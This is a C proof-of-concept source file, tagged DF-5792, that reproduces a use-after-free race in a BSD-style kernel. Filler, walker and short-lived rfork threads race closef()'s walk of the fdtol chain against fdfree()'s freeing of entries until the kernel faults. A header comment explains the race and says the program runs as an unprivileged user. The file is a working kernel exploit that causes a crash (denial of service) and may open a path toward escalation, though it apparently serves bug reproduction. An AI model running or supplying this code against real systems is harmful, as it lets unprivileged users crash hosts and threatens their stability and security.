DF-5792 / fdtol_storm.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 | /* * DF-5792 - closef() fdtol-chain walk vs fdfree() unlink+kfree cross-lock UAF. * * Layout (all RFMEM siblings share one fd table, each with its own * filedesc_to_leader entry, kern_fork.c:557-576): * * - main : holds a POSIX write lock (sets VMAYHAVELOCKS on the * vnode and p_advlock_flag for its leader) * - walkers (6) : tight open()/close() loop on the same vnode. Every * closef() walks the whole fdtol chain under p->p_token * (kern_descrip.c:3071-3073) - each iteration loads * fdtol->fdl_next then dereferences fdtol->fdl_leader. * - fillers (94) : just exist to deepen the chain (fast 'continue' path). * - churner = main: rfork(RFPROC|RFMEM|RFNOWAIT) babies that exit at once; * every baby exit runs fdfree() which unlinks + kfrees * the baby's fdtol entry under fdp->fd_spin * (kern_descrip.c:2675-2688) - no lock shared with the * closef walk. The next rfork re-allocates the same * 24-byte M_FILEDESC_TO_LEADER chunk (M_ZERO), so a * walker that loaded the pointer before the free can * dereference a zeroed chunk -> NULL fdl_leader -> * fault in closef(). * * Run as an unprivileged user: ./fdtol_storm [seconds] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <stdint.h> #include <sys/types.h> #include <sys/mman.h> #include <time.h> #define RFPROC (1<<4) #define RFMEM (1<<5) #define RFNOWAIT (1<<6) #define RFSIGSHARE (1<<14) #define NFILLER 94 #define NWALKER 6 #define NBABYSTACK 256 #define NSTACK (NFILLER + NWALKER + NBABYSTACK) #define STACKSIZE (64*1024) static volatile int stop = 0; static volatile long opens_done = 0; static volatile long forks_done = 0; static const char *lockfile = "/tmp/df5792.lock"; static char *stacks; extern pid_t rfork_thread(int, void *, int (*)(void *), void *); static double now(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec + ts.tv_nsec / 1e9; } static void *stack_top(int i) { return stacks + (size_t)i * STACKSIZE + STACKSIZE - 16; } static int filler_main(void *arg) { while (!stop) usleep(200000); return 0; } static int walker_main(void *arg) { int do_lock = (int)(intptr_t)arg; int fd; if (do_lock) { /* read lock from this (different) leader: sets * p_advlock_flag so walks act on our entry too */ struct flock fl; memset(&fl, 0, sizeof(fl)); fl.l_type = F_RDLCK; fl.l_whence = SEEK_SET; fd = open(lockfile, O_RDONLY); if (fd >= 0) fcntl(fd, F_SETLK, &fl); /* keep fd open */ } while (!stop) { fd = open(lockfile, O_RDONLY); if (fd >= 0) close(fd); /* closef() walks the chain */ opens_done++; } return 0; } static int baby_main(void *arg) { /* exit immediately: fdfree() unlinks+kfrees our fdtol entry */ return 0; } int main(int argc, char **argv) { double t0, runlen = 30.0, last_t; int fd, i, si; struct flock fl; long last_opens = 0, last_forks = 0; if (argc > 1) runlen = atof(argv[1]); stacks = mmap(NULL, (size_t)NSTACK * STACKSIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (stacks == MAP_FAILED) { perror("mmap stacks"); return 1; } fd = open(lockfile, O_RDWR | O_CREAT, 0666); if (fd < 0) { perror("open lockfile"); return 1; } write(fd, "x", 1); /* main leader takes a write lock: sets VMAYHAVELOCKS on the vnode */ memset(&fl, 0, sizeof(fl)); fl.l_type = F_WRLCK; fl.l_whence = SEEK_SET; if (fcntl(fd, F_SETLK, &fl) < 0) { perror("F_SETLK"); return 1; } /* chain fillers: deepen the fdtol chain */ for (i = 0; i < NFILLER; i++) { if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE, stack_top(i), filler_main, NULL) < 0) break; usleep(2000); } fprintf(stderr, "fillers: %d\n", i); /* walkers: one takes its own read lock, the rest just close-storm */ for (i = 0; i < NWALKER; i++) { if (rfork_thread(RFPROC | RFMEM | RFSIGSHARE, stack_top(NFILLER + i), walker_main, (void *)(intptr_t)(i == 0)) < 0) break; usleep(2000); } fprintf(stderr, "walkers: %d\n", i); t0 = now(); last_t = t0; si = 0; while (now() - t0 < runlen) { if (rfork_thread(RFPROC | RFMEM | RFNOWAIT, stack_top(NFILLER + NWALKER + (si % NBABYSTACK)), baby_main, NULL) >= 0) forks_done++; si++; if (now() - last_t >= 5.0) { fprintf(stderr, "t=%5.1f opens=%ld (+%ld) forks=%ld (+%ld)\n", now() - t0, opens_done, opens_done - last_opens, forks_done, forks_done - last_forks); last_opens = opens_done; last_forks = forks_done; last_t = now(); } } stop = 1; fprintf(stderr, "DONE opens=%ld forks=%ld\n", opens_done, forks_done); usleep(500000); return 0; } |